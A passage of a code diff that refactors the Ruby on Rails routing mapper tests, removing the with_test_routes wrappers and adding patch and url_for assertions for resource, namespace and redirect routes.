+    assert_equal '/logout', logout_path
+    assert_equal '/logout', url_for(:controller => 'sessions', :action => 'destroy', :only_path => true)
   end
 
   def test_login
-    with_test_routes do
-      get '/login'
-      assert_equal 'sessions#new', @response.body
-      assert_equal '/login', login_path
+    get '/login'
+    assert_equal 'sessions#new', @response.body
+    assert_equal '/login', login_path
 
-      post '/login'
-      assert_equal 'sessions#create', @response.body
+    post '/login'
+    assert_equal 'sessions#create', @response.body
 
-      assert_equal '/login', url_for(:controller => 'sessions', :action => 'create', :only_path => true)
-      assert_equal '/login', url_for(:controller => 'sessions', :action => 'new', :only_path => true)
+    assert_equal '/login', url_for(:controller => 'sessions', :action => 'create', :only_path => true)
+    assert_equal '/login', url_for(:controller => 'sessions', :action => 'new', :only_path => true)
 
-      assert_equal 'http://rubyonrails.org/login', Routes.url_for(:controller => 'sessions', :action => 'create')
-      assert_equal 'http://rubyonrails.org/login', Routes.url_helpers.login_url
-    end
+    assert_equal 'http://rubyonrails.org/login', Routes.url_for(:controller => 'sessions', :action => 'create')
+    assert_equal 'http://rubyonrails.org/login', Routes.url_helpers.login_url
   end
 
   def test_login_redirect
-    with_test_routes do
-      get '/account/login'
-      verify_redirect 'http://www.example.com/login'
-    end
+    get '/account/login'
+    verify_redirect 'http://www.example.com/login'
   end
 
   def test_logout_redirect_without_to
-    with_test_routes do
-      assert_equal '/account/logout', logout_redirect_path
-      get '/account/logout'
-      verify_redirect 'http://www.example.com/logout'
-    end
+    assert_equal '/account/logout', logout_redirect_path
+    get '/account/logout'
+    verify_redirect 'http://www.example.com/logout'
   end
 
   def test_namespace_redirect
-    with_test_routes do
-      get '/private'
-      verify_redirect 'http://www.example.com/private/index'
-    end
+    get '/private'
+    verify_redirect 'http://www.example.com/private/index'
   end
 
   def test_namespace_with_controller_segment
@@ -631,7 +639,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
       self.class.stub_controllers do |routes|
         routes.draw do
           namespace :admin do
-            match '/:controller(/:action(/:id(.:format)))'
+            get '/:controller(/:action(/:id(.:format)))'
           end
         end
       end
@@ -639,217 +647,179 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
   end
 
   def test_session_singleton_resource
-    with_test_routes do
-      get '/session'
-      assert_equal 'sessions#create', @response.body
-      assert_equal '/session', session_path
+    get '/session'
+    assert_equal 'sessions#create', @response.body
+    assert_equal '/session', session_path
 
-      post '/session'
-      assert_equal 'sessions#create', @response.body
+    post '/session'
+    assert_equal 'sessions#create', @response.body
 
-      put '/session'
-      assert_equal 'sessions#update', @response.body
+    put '/session'
+    assert_equal 'sessions#update', @response.body
 
-      delete '/session'
-      assert_equal 'sessions#destroy', @response.body
+    delete '/session'
+    assert_equal 'sessions#destroy', @response.body
 
-      get '/session/new'
-      assert_equal 'sessions#new', @response.body
-      assert_equal '/session/new', new_session_path
+    get '/session/new'
+    assert_equal 'sessions#new', @response.body
+    assert_equal '/session/new', new_session_path
 
-      get '/session/edit'
-      assert_equal 'sessions#edit', @response.body
-      assert_equal '/session/edit', edit_session_path
+    get '/session/edit'
+    assert_equal 'sessions#edit', @response.body
+    assert_equal '/session/edit', edit_session_path
 
-      post '/session/reset'
-      assert_equal 'sessions#reset', @response.body
-      assert_equal '/session/reset', reset_session_path
-    end
+    post '/session/reset'
+    assert_equal 'sessions#reset', @response.body
+    assert_equal '/session/reset', reset_session_path
   end
 
   def test_session_info_nested_singleton_resource
-    with_test_routes do
-      get '/session/info'
-      assert_equal 'infos#show', @response.body
-      assert_equal '/session/info', session_info_path
-    end
+    get '/session/info'
+    assert_equal 'infos#show', @response.body
+    assert_equal '/session/info', session_info_path
   end
 
   def test_member_on_resource
-    with_test_routes do
-      get '/session/crush'
-      assert_equal 'sessions#crush', @response.body
-      assert_equal '/session/crush', crush_session_path
-    end
+    get '/session/crush'
+    assert_equal 'sessions#crush', @response.body
+    assert_equal '/session/crush', crush_session_path
   end
 
   def test_redirect_modulo
-    with_test_routes do
-      get '/account/modulo/name'
-      verify_redirect 'http://www.example.com/names'
-    end
+    get '/account/modulo/name'
+    verify_redirect 'http://www.example.com/names'
   end
 
   def test_redirect_proc
-    with_test_routes do
-      get '/account/proc/person'
-      verify_redirect 'http://www.example.com/people'
-    end
+    get '/account/proc/person'
+    verify_redirect 'http://www.example.com/people'
   end
 
   def test_redirect_proc_with_request
-    with_test_routes do
-      get '/account/proc_req'
-      verify_redirect 'http://www.example.com/GET'
-    end
+    get '/account/proc_req'
+    verify_redirect 'http://www.example.com/GET'
   end
 
   def test_redirect_hash_with_subdomain
-    with_test_routes do
-      get '/mobile'
-      verify_redirect 'http://mobile.example.com/mobile'
-    end
+    get '/mobile'
+    verify_redirect 'http://mobile.example.com/mobile'
   end
 
   def test_redirect_hash_with_domain_and_path
-    with_test_routes do
-      get '/documentation'
-      verify_redirect 'http://www.example-documentation.com'
-    end
+    get '/documentation'
+    verify_redirect 'http://www.example-documentation.com'
   end
 
   def test_redirect_hash_with_path
-    with_test_routes do
-      get '/new_documentation'
-      verify_redirect 'http://www.example.com/documentation/new'
-    end
+    get '/new_documentation'
+    verify_redirect 'http://www.example.com/documentation/new'
   end
 
   def test_redirect_hash_with_host
-    with_test_routes do
-      get '/super_new_documentation?section=top'
-      verify_redirect 'http://super-docs.com/super_new_documentation?section=top'
-    end
+    get '/super_new_documentation?section=top'
+    verify_redirect 'http://super-docs.com/super_new_documentation?section=top'
   end
 
   def test_redirect_hash_path_substitution
-    with_test_routes do
-      get '/stores/iernest'
-      verify_redirect 'http://stores.example.com/iernest'
-    end
+    get '/stores/iernest'
+    verify_redirect 'http://stores.example.com/iernest'
   end
 
   def test_redirect_hash_path_substitution_with_catch_all
-    with_test_routes do
-      get '/stores/iernest/products'
-      verify_redirect 'http://stores.example.com/iernest/products'
-    end
+    get '/stores/iernest/products'
+    verify_redirect 'http://stores.example.com/iernest/products'
   end
 
   def test_redirect_class
-    with_test_routes do
-      get '/youtube_favorites/oHg5SJYRHA0/rick-rolld'
-      verify_redirect 'http://www.youtube.com/watch?v=oHg5SJYRHA0'
-    end
+    get '/youtube_favorites/oHg5SJYRHA0/rick-rolld'
+    verify_redirect 'http://www.youtube.com/watch?v=oHg5SJYRHA0'
   end
 
   def test_openid
-    with_test_routes do
-      get '/openid/login'
-      assert_equal 'openid#login', @response.body
+    get '/openid/login'
+    assert_equal 'openid#login', @response.body
 
-      post '/openid/login'
-      assert_equal 'openid#login', @response.body
-    end
+    post '/openid/login'
+    assert_equal 'openid#login', @response.body
   end
 
   def test_bookmarks
-    with_test_routes do
-      get '/bookmark/build'
-      assert_equal 'bookmarks#new', @response.body
-      assert_equal '/bookmark/build', bookmark_new_path
-
-      post '/bookmark/create'
-      assert_equal 'bookmarks#create', @response.body
-      assert_equal '/bookmark/create', bookmark_path
-
-      put '/bookmark/update'
-      assert_equal 'bookmarks#update', @response.body
-      assert_equal '/bookmark/update', bookmark_update_path
-
-      get '/bookmark/remove'
-      assert_equal 'bookmarks#destroy', @response.body
-      assert_equal '/bookmark/remove', bookmark_remove_path
-    end
+    get '/bookmark/build'
+    assert_equal 'bookmarks#new', @response.body
+    assert_equal '/bookmark/build', bookmark_new_path
+
+    post '/bookmark/create'
+    assert_equal 'bookmarks#create', @response.body
+    assert_equal '/bookmark/create', bookmark_path
+
+    put '/bookmark/update'
+    assert_equal 'bookmarks#update', @response.body
+    assert_equal '/bookmark/update', bookmark_update_path
+
+    get '/bookmark/remove'
+    assert_equal 'bookmarks#destroy', @response.body
+    assert_equal '/bookmark/remove', bookmark_remove_path
   end
 
   def test_pagemarks
-    with_test_routes do
-      get '/pagemark/build'
-      assert_equal 'pagemarks#new', @response.body
-      assert_equal '/pagemark/build', pagemark_new_path
-
-      post '/pagemark/create'
-      assert_equal 'pagemarks#create', @response.body
-      assert_equal '/pagemark/create', pagemark_path
-
-      put '/pagemark/update'
-      assert_equal 'pagemarks#update', @response.body
-      assert_equal '/pagemark/update', pagemark_update_path
-
-      get '/pagemark/remove'
-      assert_equal 'pagemarks#destroy', @response.body
-      assert_equal '/pagemark/remove', pagemark_remove_path
-    end
+    get '/pagemark/build'
+    assert_equal 'pagemarks#new', @response.body
+    assert_equal '/pagemark/build', pagemark_new_path
+
+    post '/pagemark/create'
+    assert_equal 'pagemarks#create', @response.body
+    assert_equal '/pagemark/create', pagemark_path
+
+    put '/pagemark/update'
+    assert_equal 'pagemarks#update', @response.body
+    assert_equal '/pagemark/update', pagemark_update_path
+
+    get '/pagemark/remove'
+    assert_equal 'pagemarks#destroy', @response.body
+    assert_equal '/pagemark/remove', pagemark_remove_path
   end
 
   def test_admin
-    with_test_routes do
-      get '/admin', {}, {'REMOTE_ADDR' => '192.168.1.100'}
-      assert_equal 'queenbee#index', @response.body
+    get '/admin', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    assert_equal 'queenbee#index', @response.body
 
-      get '/admin', {}, {'REMOTE_ADDR' => '10.0.0.100'}
-      assert_equal 'pass', @response.headers['X-Cascade']
+    get '/admin', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    assert_equal 'pass', @response.headers['X-Cascade']
 
-      get '/admin/accounts', {}, {'REMOTE_ADDR' => '192.168.1.100'}
-      assert_equal 'queenbee#accounts', @response.body
+    get '/admin/accounts', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    assert_equal 'queenbee#accounts', @response.body
 
-      get '/admin/accounts', {}, {'REMOTE_ADDR' => '10.0.0.100'}
-      assert_equal 'pass', @response.headers['X-Cascade']
+    get '/admin/accounts', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    assert_equal 'pass', @response.headers['X-Cascade']
 
-      get '/admin/passwords', {}, {'REMOTE_ADDR' => '192.168.1.100'}
-      assert_equal 'queenbee#passwords', @response.body
+    get '/admin/passwords', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    assert_equal 'queenbee#passwords', @response.body
 
-      get '/admin/passwords', {}, {'REMOTE_ADDR' => '10.0.0.100'}
-      assert_equal 'pass', @response.headers['X-Cascade']
-    end
+    get '/admin/passwords', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    assert_equal 'pass', @response.headers['X-Cascade']
   end
 
   def test_global
-    with_test_routes do
-      get '/global/dashboard'
-      assert_equal 'global#dashboard', @response.body
+    get '/global/dashboard'
+    assert_equal 'global#dashboard', @response.body
 
-      get '/global/export'
-      assert_equal 'global#export', @response.body
+    get '/global/export'
+    assert_equal 'global#export', @response.body
 
-      get '/global/hide_notice'
-      assert_equal 'global#hide_notice', @response.body
+    get '/global/hide_notice'
+    assert_equal 'global#hide_notice', @response.body
 
-      get '/export/123/foo.txt'
-      assert_equal 'global#export', @response.body
+    get '/export/123/foo.txt'
+    assert_equal 'global#export', @response.body
 
-      assert_equal '/global/export', export_request_path
-      assert_equal '/global/hide_notice', global_hide_notice_path
-      assert_equal '/export/123/foo.txt', export_download_path(:id => 123, :file => 'foo.txt')
-    end
+    assert_equal '/global/export', export_request_path
+    assert_equal '/global/hide_notice', global_hide_notice_path
+    assert_equal '/export/123/foo.txt', export_download_path(:id => 123, :file => 'foo.txt')
   end
 
   def test_local
-    with_test_routes do
-      get '/local/dashboard'
-      assert_equal 'local#dashboard', @response.body
-    end
+    get '/local/dashboard'
+    assert_equal 'local#dashboard', @response.body
   end
 
   # tests the use of dup in url_for
@@ -864,6 +834,15 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal original_options, options
   end
 
+  def test_url_for_does_not_modify_controller
+    controller = '/projects'
+    options = {:controller => controller, :action => 'status', :only_path => true}
+    url = url_for(options)
+
+    assert_equal '/projects/status', url
+    assert_equal '/projects', controller
+  end
+
   # tests the arguments modification free version of define_hash_access
   def test_named_route_with_no_side_effects
     original_options = { :host => 'test.host' }
@@ -876,648 +855,567 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
   end
 
   def test_projects_status
-    with_test_routes do
-      assert_equal '/projects/status', url_for(:controller => 'projects', :action => 'status', :only_path => true)
-      assert_equal '/projects/status.json', url_for(:controller => 'projects', :action => 'status', :format => 'json', :only_path => true)
-    end
+    assert_equal '/projects/status', url_for(:controller => 'projects', :action => 'status', :only_path => true)
+    assert_equal '/projects/status.json', url_for(:controller => 'projects', :action => 'status', :format => 'json', :only_path => true)
   end
 
   def test_projects
-    with_test_routes do
-      get '/projects'
-      assert_equal 'project#index', @response.body
-      assert_equal '/projects', projects_path
+    get '/projects'
+    assert_equal 'project#index', @response.body
+    assert_equal '/projects', projects_path
 
-      post '/projects'
-      assert_equal 'project#create', @response.body
+    post '/projects'
+    assert_equal 'project#create', @response.body
 
-      get '/projects.xml'
-      assert_equal 'project#index', @response.body
-      assert_equal '/projects.xml', projects_path(:format => 'xml')
+    get '/projects.xml'
+    assert_equal 'project#index', @response.body
+    assert_equal '/projects.xml', projects_path(:format => 'xml')
 
-      get '/projects/new'
-      assert_equal 'project#new', @response.body
-      assert_equal '/projects/new', new_project_path
+    get '/projects/new'
+    assert_equal 'project#new', @response.body
+    assert_equal '/projects/new', new_project_path
 
-      get '/projects/new.xml'
-      assert_equal 'project#new', @response.body
-      assert_equal '/projects/new.xml', new_project_path(:format => 'xml')
+    get '/projects/new.xml'
+    assert_equal 'project#new', @response.body
+    assert_equal '/projects/new.xml', new_project_path(:format => 'xml')
 
-      get '/projects/1'
-      assert_equal 'project#show', @response.body
-      assert_equal '/projects/1', project_path(:id => '1')
+    get '/projects/1'
+    assert_equal 'project#show', @response.body
+    assert_equal '/projects/1', project_path(:id => '1')
 
-      get '/projects/1.xml'
-      assert_equal 'project#show', @response.body
-      assert_equal '/projects/1.xml', project_path(:id => '1', :format => 'xml')
+    get '/projects/1.xml'
+    assert_equal 'project#show', @response.body
+    assert_equal '/projects/1.xml', project_path(:id => '1', :format => 'xml')
 
-      get '/projects/1/edit'
-      assert_equal 'project#edit', @response.body
-      assert_equal '/projects/1/edit', edit_project_path(:id => '1')
-    end
+    get '/projects/1/edit'
+    assert_equal 'project#edit', @response.body
+    assert_equal '/projects/1/edit', edit_project_path(:id => '1')
+  end
+
+  def test_projects_with_post_action_and_new_path_on_collection
+    post '/projects/new'
+    assert_equal "project#new", @response.body
+    assert_equal "/projects/new", new_projects_path
   end
 
   def test_projects_involvements
-    with_test_routes do
-      get '/projects/1/involvements'
-      assert_equal 'involvements#index', @response.body
-      assert_equal '/projects/1/involvements', project_involvements_path(:project_id => '1')
+    get '/projects/1/involvements'
+    assert_equal 'involvements#index', @response.body
+    assert_equal '/projects/1/involvements', project_involvements_path(:project_id => '1')
 
-      get '/projects/1/involvements/new'
-      assert_equal 'involvements#new', @response.body
-      assert_equal '/projects/1/involvements/new', new_project_involvement_path(:project_id => '1')
+    get '/projects/1/involvements/new'
+    assert_equal 'involvements#new', @response.body
+    assert_equal '/projects/1/involvements/new', new_project_involvement_path(:project_id => '1')
 
-      get '/projects/1/involvements/1'
-      assert_equal 'involvements#show', @response.body
-      assert_equal '/projects/1/involvements/1', project_involvement_path(:project_id => '1', :id => '1')
+    get '/projects/1/involvements/1'
+    assert_equal 'involvements#show', @response.body
+    assert_equal '/projects/1/involvements/1', project_involvement_path(:project_id => '1', :id => '1')
 
-      put '/projects/1/involvements/1'
-      assert_equal 'involvements#update', @response.body
+    put '/projects/1/involvements/1'
+    assert_equal 'involvements#update', @response.body
 
-      delete '/projects/1/involvements/1'
-      assert_equal 'involvements#destroy', @response.body
+    delete '/projects/1/involvements/1'
+    assert_equal 'involvements#destroy', @response.body
 
-      get '/projects/1/involvements/1/edit'
-      assert_equal 'involvements#edit', @response.body
-      assert_equal '/projects/1/involvements/1/edit', edit_project_involvement_path(:project_id => '1', :id => '1')
-    end
+    get '/projects/1/involvements/1/edit'
+    assert_equal 'involvements#edit', @response.body
+    assert_equal '/projects/1/involvements/1/edit', edit_project_involvement_path(:project_id => '1', :id => '1')
   end
 
   def test_projects_attachments
-    with_test_routes do
-      get '/projects/1/attachments'
-      assert_equal 'attachments#index', @response.body
-      assert_equal '/projects/1/attachments', project_attachments_path(:project_id => '1')
-    end
+    get '/projects/1/attachments'
+    assert_equal 'attachments#index', @response.body
+    assert_equal '/projects/1/attachments', project_attachments_path(:project_id => '1')
   end
 
   def test_projects_participants
-    with_test_routes do
-      get '/projects/1/participants'
-      assert_equal 'participants#index', @response.body
-      assert_equal '/projects/1/participants', project_participants_path(:project_id => '1')
-
-      put '/projects/1/participants/update_all'
-      assert_equal 'participants#update_all', @response.body
-      assert_equal '/projects/1/participants/update_all', update_all_project_participants_path(:project_id => '1')
-    end
+    get '/projects/1/participants'
+    assert_equal 'participants#index', @response.body
+    assert_equal '/projects/1/participants', project_participants_path(:project_id => '1')
+
+    put '/projects/1/participants/update_all'
+    assert_equal 'participants#update_all', @response.body
+    assert_equal '/projects/1/participants/update_all', update_all_project_participants_path(:project_id => '1')
   end
 
   def test_projects_companies
-    with_test_routes do
-      get '/projects/1/companies'
-      assert_equal 'companies#index', @response.body
-      assert_equal '/projects/1/companies', project_companies_path(:project_id => '1')
-
-      get '/projects/1/companies/1/people'
-      assert_equal 'people#index', @response.body
-      assert_equal '/projects/1/companies/1/people', project_company_people_path(:project_id => '1', :company_id => '1')
-
-      get '/projects/1/companies/1/avatar'
-      assert_equal 'avatar#show', @response.body
-      assert_equal '/projects/1/companies/1/avatar', project_company_avatar_path(:project_id => '1', :company_id => '1')
-    end
+    get '/projects/1/companies'
+    assert_equal 'companies#index', @response.body
+    assert_equal '/projects/1/companies', project_companies_path(:project_id => '1')
+
+    get '/projects/1/companies/1/people'
+    assert_equal 'people#index', @response.body
+    assert_equal '/projects/1/companies/1/people', project_company_people_path(:project_id => '1', :company_id => '1')
+
+    get '/projects/1/companies/1/avatar'
+    assert_equal 'avatar#show', @response.body
+    assert_equal '/projects/1/companies/1/avatar', project_company_avatar_path(:project_id => '1', :company_id => '1')
   end
 
   def test_project_manager
-    with_test_routes do
-      get '/projects/1/manager'
-      assert_equal 'managers#show', @response.body
-      assert_equal '/projects/1/manager', project_super_manager_path(:project_id => '1')
-
-      get '/projects/1/manager/new'
-      assert_equal 'managers#new', @response.body
-      assert_equal '/projects/1/manager/new', new_project_super_manager_path(:project_id => '1')
-
-      post '/projects/1/manager/fire'
-      assert_equal 'managers#fire', @response.body
-      assert_equal '/projects/1/manager/fire', fire_project_super_manager_path(:project_id => '1')
-    end
+    get '/projects/1/manager'
+    assert_equal 'managers#show', @response.body
+    assert_equal '/projects/1/manager', project_super_manager_path(:project_id => '1')
+
+    get '/projects/1/manager/new'
+    assert_equal 'managers#new', @response.body
+    assert_equal '/projects/1/manager/new', new_project_super_manager_path(:project_id => '1')
+
+    post '/projects/1/manager/fire'
+    assert_equal 'managers#fire', @response.body
+    assert_equal '/projects/1/manager/fire', fire_project_super_manager_path(:project_id => '1')
   end
 
   def test_project_images
-    with_test_routes do
-      get '/projects/1/images'
-      assert_equal 'images#index', @response.body
-      assert_equal '/projects/1/images', project_funny_images_path(:project_id => '1')
-
-      get '/projects/1/images/new'
-      assert_equal 'images#new', @response.body
-      assert_equal '/projects/1/images/new', new_project_funny_image_path(:project_id => '1')
-
-      post '/projects/1/images/1/revise'
-      assert_equal 'images#revise', @response.body
-      assert_equal '/projects/1/images/1/revise', revise_project_funny_image_path(:project_id => '1', :id => '1')
-    end
+    get '/projects/1/images'
+    assert_equal 'images#index', @response.body
+    assert_equal '/projects/1/images', project_funny_images_path(:project_id => '1')
+
+    get '/projects/1/images/new'
+    assert_equal 'images#new', @response.body
+    assert_equal '/projects/1/images/new', new_project_funny_image_path(:project_id => '1')
+
+    post '/projects/1/images/1/revise'
+    assert_equal 'images#revise', @response.body
+    assert_equal '/projects/1/images/1/revise', revise_project_funny_image_path(:project_id => '1', :id => '1')
   end
 
   def test_projects_people
-    with_test_routes do
-      get '/projects/1/people'
-      assert_equal 'people#index', @response.body
-      assert_equal '/projects/1/people', project_people_path(:project_id => '1')
-
-      get '/projects/1/people/1'
-      assert_equal 'people#show', @response.body
-      assert_equal '/projects/1/people/1', project_person_path(:project_id => '1', :id => '1')
-
-      get '/projects/1/people/1/7a2dec8/avatar'
-      assert_equal 'avatars#show', @response.body
-      assert_equal '/projects/1/people/1/7a2dec8/avatar', project_person_avatar_path(:project_id => '1', :person_id => '1', :access_token => '7a2dec8')
-
-      put '/projects/1/people/1/accessible_projects'
-      assert_equal 'people#accessible_projects', @response.body
-      assert_equal '/projects/1/people/1/accessible_projects', accessible_projects_project_person_path(:project_id => '1', :id => '1')
-
-      post '/projects/1/people/1/resend'
-      assert_equal 'people#resend', @response.body
-      assert_equal '/projects/1/people/1/resend', resend_project_person_path(:project_id => '1', :id => '1')
-
-      post '/projects/1/people/1/generate_new_password'
-      assert_equal 'people#generate_new_password', @response.body
-      assert_equal '/projects/1/people/1/generate_new_password', generate_new_password_project_person_path(:project_id => '1', :id => '1')
-    end
+    get '/projects/1/people'
+    assert_equal 'people#index', @response.body
+    assert_equal '/projects/1/people', project_people_path(:project_id => '1')
+
+    get '/projects/1/people/1'
+    assert_equal 'people#show', @response.body
+    assert_equal '/projects/1/people/1', project_person_path(:project_id => '1', :id => '1')
+
+    get '/projects/1/people/1/7a2dec8/avatar'
+    assert_equal 'avatars#show', @response.body
+    assert_equal '/projects/1/people/1/7a2dec8/avatar', project_person_avatar_path(:project_id => '1', :person_id => '1', :access_token => '7a2dec8')
+
+    put '/projects/1/people/1/accessible_projects'
+    assert_equal 'people#accessible_projects', @response.body
+    assert_equal '/projects/1/people/1/accessible_projects', accessible_projects_project_person_path(:project_id => '1', :id => '1')
+
+    post '/projects/1/people/1/resend'
+    assert_equal 'people#resend', @response.body
+    assert_equal '/projects/1/people/1/resend', resend_project_person_path(:project_id => '1', :id => '1')
+
+    post '/projects/1/people/1/generate_new_password'
+    assert_equal 'people#generate_new_password', @response.body
+    assert_equal '/projects/1/people/1/generate_new_password', generate_new_password_project_person_path(:project_id => '1', :id => '1')
   end
 
   def test_projects_with_resources_path_names
-    with_test_routes do
-      get '/projects/info_about_correlation_indexes'
-      assert_equal 'project#correlation_indexes', @response.body
-      assert_equal '/projects/info_about_correlation_indexes', correlation_indexes_projects_path
-    end
+    get '/projects/info_about_correlation_indexes'
+    assert_equal 'project#correlation_indexes', @response.body
+    assert_equal '/projects/info_about_correlation_indexes', correlation_indexes_projects_path
   end
 
   def test_projects_posts
-    with_test_routes do
-      get '/projects/1/posts'
-      assert_equal 'posts#index', @response.body
-      assert_equal '/projects/1/posts', project_posts_path(:project_id => '1')
-
-      get '/projects/1/posts/archive'
-      assert_equal 'posts#archive', @response.body
-      assert_equal '/projects/1/posts/archive', archive_project_posts_path(:project_id => '1')
-
-      get '/projects/1/posts/toggle_view'
-      assert_equal 'posts#toggle_view', @response.body
-      assert_equal '/projects/1/posts/toggle_view', toggle_view_project_posts_path(:project_id => '1')
-
-      post '/projects/1/posts/1/preview'
-      assert_equal 'posts#preview', @response.body
-      assert_equal '/projects/1/posts/1/preview', preview_project_post_path(:project_id => '1', :id => '1')
-
-      get '/projects/1/posts/1/subscription'
-      assert_equal 'subscriptions#show', @response.body
-      assert_equal '/projects/1/posts/1/subscription', project_post_subscription_path(:project_id => '1', :post_id => '1')
-
-      get '/projects/1/posts/1/comments'
-      assert_equal 'comments#index', @response.body
-      assert_equal '/projects/1/posts/1/comments', project_post_comments_path(:project_id => '1', :post_id => '1')
-
-      post '/projects/1/posts/1/comments/preview'
-      assert_equal 'comments#preview', @response.body
-      assert_equal '/projects/1/posts/1/comments/preview', preview_project_post_comments_path(:project_id => '1', :post_id => '1')
-    end
+    get '/projects/1/posts'
+    assert_equal 'posts#index', @response.body
+    assert_equal '/projects/1/posts', project_posts_path(:project_id => '1')
+
+    get '/projects/1/posts/archive'
+    assert_equal 'posts#archive', @response.body
+    assert_equal '/projects/1/posts/archive', archive_project_posts_path(:project_id => '1')
+
+    get '/projects/1/posts/toggle_view'
+    assert_equal 'posts#toggle_view', @response.body
+    assert_equal '/projects/1/posts/toggle_view', toggle_view_project_posts_path(:project_id => '1')
+
+    post '/projects/1/posts/1/preview'
+    assert_equal 'posts#preview', @response.body
+    assert_equal '/projects/1/posts/1/preview', preview_project_post_path(:project_id => '1', :id => '1')
+
+    get '/projects/1/posts/1/subscription'
+    assert_equal 'subscriptions#show', @response.body
+    assert_equal '/projects/1/posts/1/subscription', project_post_subscription_path(:project_id => '1', :post_id => '1')
+
+    get '/projects/1/posts/1/comments'
+    assert_equal 'comments#index', @response.body
+    assert_equal '/projects/1/posts/1/comments', project_post_comments_path(:project_id => '1', :post_id => '1')
+
+    post '/projects/1/posts/1/comments/preview'
+    assert_equal 'comments#preview', @response.body
+    assert_equal '/projects/1/posts/1/comments/preview', preview_project_post_comments_path(:project_id => '1', :post_id => '1')
   end
 
   def test_replies
-    with_test_routes do
-      put '/replies/1/answer'
-      assert_equal 'replies#mark_as_answer', @response.body
+    put '/replies/1/answer'
+    assert_equal 'replies#mark_as_answer', @response.body
 
-      delete '/replies/1/answer'
-      assert_equal 'replies#unmark_as_answer', @response.body
-    end
+    delete '/replies/1/answer'
+    assert_equal 'replies#unmark_as_answer', @response.body
   end
 
   def test_resource_routes_with_only_and_except
-    with_test_routes do
-      get '/posts'
-      assert_equal 'posts#index', @response.body
-      assert_equal '/posts', posts_path
-
-      get '/posts/1'
-      assert_equal 'posts#show', @response.body
-      assert_equal '/posts/1', post_path(:id => 1)
-
-      get '/posts/1/comments'
-      assert_equal 'comments#index', @response.body
-      assert_equal '/posts/1/comments', post_comments_path(:post_id => 1)
-
-      post '/posts'
-      assert_equal 'pass', @response.headers['X-Cascade']
-      put '/posts/1'
-      assert_equal 'pass', @response.headers['X-Cascade']
-      delete '/posts/1'
-      assert_equal 'pass', @response.headers['X-Cascade']
-      delete '/posts/1/comments'
-      assert_equal 'pass', @response.headers['X-Cascade']
-    end
+    get '/posts'
+    assert_equal 'posts#index', @response.body
+    assert_equal '/posts', posts_path
+
+    get '/posts/1'
+    assert_equal 'posts#show', @response.body
+    assert_equal '/posts/1', post_path(:id => 1)
+
+    get '/posts/1/comments'
+    assert_equal 'comments#index', @response.body
+    assert_equal '/posts/1/comments', post_comments_path(:post_id => 1)
+
+    post '/posts'
+    assert_equal 'pass', @response.headers['X-Cascade']
+    put '/posts/1'
+    assert_equal 'pass', @response.headers['X-Cascade']
+    delete '/posts/1'
+    assert_equal 'pass', @response.headers['X-Cascade']
+    delete '/posts/1/comments'
+    assert_equal 'pass', @response.headers['X-Cascade']
   end
 
   def test_resource_routes_only_create_update_destroy
-    with_test_routes do
-      delete '/past'
-      assert_equal 'pasts#destroy', @response.body
-      assert_equal '/past', past_path
-
-      put '/present'
-      assert_equal 'presents#update', @response.body
-      assert_equal '/present', present_path
-
-      post '/future'
-      assert_equal 'futures#create', @response.body
-      assert_equal '/future', future_path
-    end
+    delete '/past'
+    assert_equal 'pasts#destroy', @response.body
+    assert_equal '/past', past_path
+
+    patch '/present'
+    assert_equal 'presents#update', @response.body
+    assert_equal '/present', present_path
+
+    put '/present'
+    assert_equal 'presents#update', @response.body
+    assert_equal '/present', present_path
+
+    post '/future'
+    assert_equal 'futures#create', @response.body
+    assert_equal '/future', future_path
   end
 
   def test_resources_routes_only_create_update_destroy
-    with_test_routes do
-      post '/relationships'
-      assert_equal 'relationships#create', @response.body
-      assert_equal '/relationships', relationships_path
-
-      delete '/relationships/1'
-      assert_equal 'relationships#destroy', @response.body
-      assert_equal '/relationships/1', relationship_path(1)
-
-      put '/friendships/1'
-      assert_equal 'friendships#update', @response.body
-      assert_equal '/friendships/1', friendship_path(1)
-    end
+    post '/relationships'
+    assert_equal 'relationships#create', @response.body
+    assert_equal '/relationships', relationships_path
+
+    delete '/relationships/1'
+    assert_equal 'relationships#destroy', @response.body
+    assert_equal '/relationships/1', relationship_path(1)
+
+    patch '/friendships/1'
+    assert_equal 'friendships#update', @response.body
+    assert_equal '/friendships/1', friendship_path(1)
+
+    put '/friendships/1'
+    assert_equal 'friendships#update', @response.body
+    assert_equal '/friendships/1', friendship_path(1)
   end
 
   def test_resource_with_slugs_in_ids
-    with_test_routes do
-      get '/posts/rails-rocks'
-      assert_equal 'posts#show', @response.body
-      assert_equal '/posts/rails-rocks', post_path(:id => 'rails-rocks')
-    end
+    get '/posts/rails-rocks'
+    assert_equal 'posts#show', @response.body
+    assert_equal '/posts/rails-rocks', post_path(:id => 'rails-rocks')
   end
 
   def test_resources_for_uncountable_names
-    with_test_routes do
-      assert_equal '/sheep', sheep_index_path
-      assert_equal '/sheep/1', sheep_path(1)
-      assert_equal '/sheep/new', new_sheep_path
-      assert_equal '/sheep/1/edit', edit_sheep_path(1)
-      assert_equal '/sheep/1/_it', _it_sheep_path(1)
-    end
+    assert_equal '/sheep', sheep_index_path
+    assert_equal '/sheep/1', sheep_path(1)
+    assert_equal '/sheep/new', new_sheep_path
+    assert_equal '/sheep/1/edit', edit_sheep_path(1)
+    assert_equal '/sheep/1/_it', _it_sheep_path(1)
   end
 
   def test_path_names
-    with_test_routes do
-      get '/pt/projetos'
-      assert_equal 'projects#index', @response.body
-      assert_equal '/pt/projetos', pt_projects_path
-
-      get '/pt/projetos/1/editar'
-      assert_equal 'projects#edit', @response.body
-      assert_equal '/pt/projetos/1/editar', edit_pt_project_path(1)
-
-      get '/pt/administrador'
-      assert_equal 'admins#show', @response.body
-      assert_equal '/pt/administrador', pt_admin_path
-
-      get '/pt/administrador/novo'
-      assert_equal 'admins#new', @response.body
-      assert_equal '/pt/administrador/novo', new_pt_admin_path
-
-      put '/pt/administrador/ativar'
-      assert_equal 'admins#activate', @response.body
-      assert_equal '/pt/administrador/ativar', activate_pt_admin_path
-    end
+    get '/pt/projetos'
+    assert_equal 'projects#index', @response.body
